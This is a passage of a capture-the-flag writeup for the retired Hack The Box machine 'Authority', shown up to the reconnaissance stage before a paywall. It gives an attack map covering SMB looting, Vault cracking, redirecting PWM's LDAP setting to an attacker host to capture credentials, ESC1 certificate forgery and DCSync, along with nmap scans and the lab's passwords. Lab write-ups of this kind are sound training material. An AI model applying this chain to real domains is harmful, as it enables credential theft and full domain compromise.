root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat authority.md
// writeups

Authority

15 Jul 2023 · 27 min read · root access
writeupshacktheboxwindowsMediumretiredvip
Authority - maquina de Hack The Box

Executive summary — Authority chains three secrets-management failures, each one defeating the protection of the last: an unauthenticated SMB share leaks an Ansible automation repository holding Ansible Vault-encrypted secrets (a crackable rockyou passphrase), those secrets unlock PWM's Configuration Manager — which lets the LDAP server URL be rewritten to a rogue plaintext server to capture the proxy account's credential — and that account enables an ESC1-vulnerable AD CS template combined with MachineAccountQuota=10 to forge an administrator certificate. The twist: PKINIT doesn't work because the DC has no KDC certificate, so the real path into the domain is Schannel over LDAPS.

PlatformHack The Box
Operating systemWindows Server 2019 (Build 17763)
DifficultyMedium
StatusRetired
Target IP10.129.229.56

Attack map

[SMB] \\Development, unauthenticated -> Ansible repo (3 Vault-encrypted secrets)
   |  rockyou -> passphrase "!@#$%^&*"
   v
[Vault] svc_pwm / pWm_@dm!N_!23 -- PWM Configuration Manager credential
   |  PWM unlocked -> rewrite ldap.serverUrls to ldap://<ATTACKER_IP>:389
   v
[Rogue LDAP] plaintext bind captured -> svc_ldap / lDaP_1n_th3_cle4r!
   |  WinRM (Remote Management Users)
   v
[WinRM] svc_ldap -> user.txt
   |  AD CS: CorpVPN template vulnerable to ESC1, enroll=Domain Computers
   |  MachineAccountQuota=10 -> create "pwnbox$" -> cert with UPN=administrator
   v
[PKINIT] fails (DC has no KDC certificate) -> pivot to Schannel/LDAPS
   v
[ROOT] HTB\Administrator -> add_user_to_group Domain Admins -> DCSync -> root.txt

1. Reconnaissance

A ping ttl=127 (128 minus one hop) points at Windows before touching any service.

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.229.56

29 open ports. The combination 53 + 88 + 389 + 445 + 464 + 636 + 3268/3269 + 9389 is the unmistakable signature of a Domain Controller. Two ports don't fit a standard DC:

PortServiceNote
80IIS 10.0Default page, no content
8443Apache Tomcat (ssl/http)Not part of AD. This is where the attack surface is.
sudo nmap -p53,80,88,135,139,389,445,464,636,3268,5985,8443,9389 -sCV -Pn -oN nmap-services.txt 10.129.229.56
389/tcp  ldap  Microsoft Windows Active Directory LDAP (Domain: authority.htb)
| ssl-cert: Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp
8443/tcp ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118          <- CN of an internal IP
|_clock-skew: mean: 4h00m04s, deviation: 0s, median: 4h00m04s

The domain is authority.htb; the Tomcat certificate's CN is a private IP from a different network (a sign the app was cloned without regenerating the certificate); and there's a 4-hour clock skew, which would break any Kerberos operation (Kerberos requires <5 minutes).

Honesty note: the clock skew turned out to be irrelevant on this box. It was flagged expecting to have to fix it before PKINIT, but PKINIT failed for a different reason (§8) and the path that actually worked — Schannel — doesn't use Kerberos. Logging it early is still the right call; assuming it would be the problem would have been a misdiagnosis.

echo "10.129.229.56 authority.htb authority.authority.htb AUTHORITY" | sudo tee -a /etc/hosts
🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.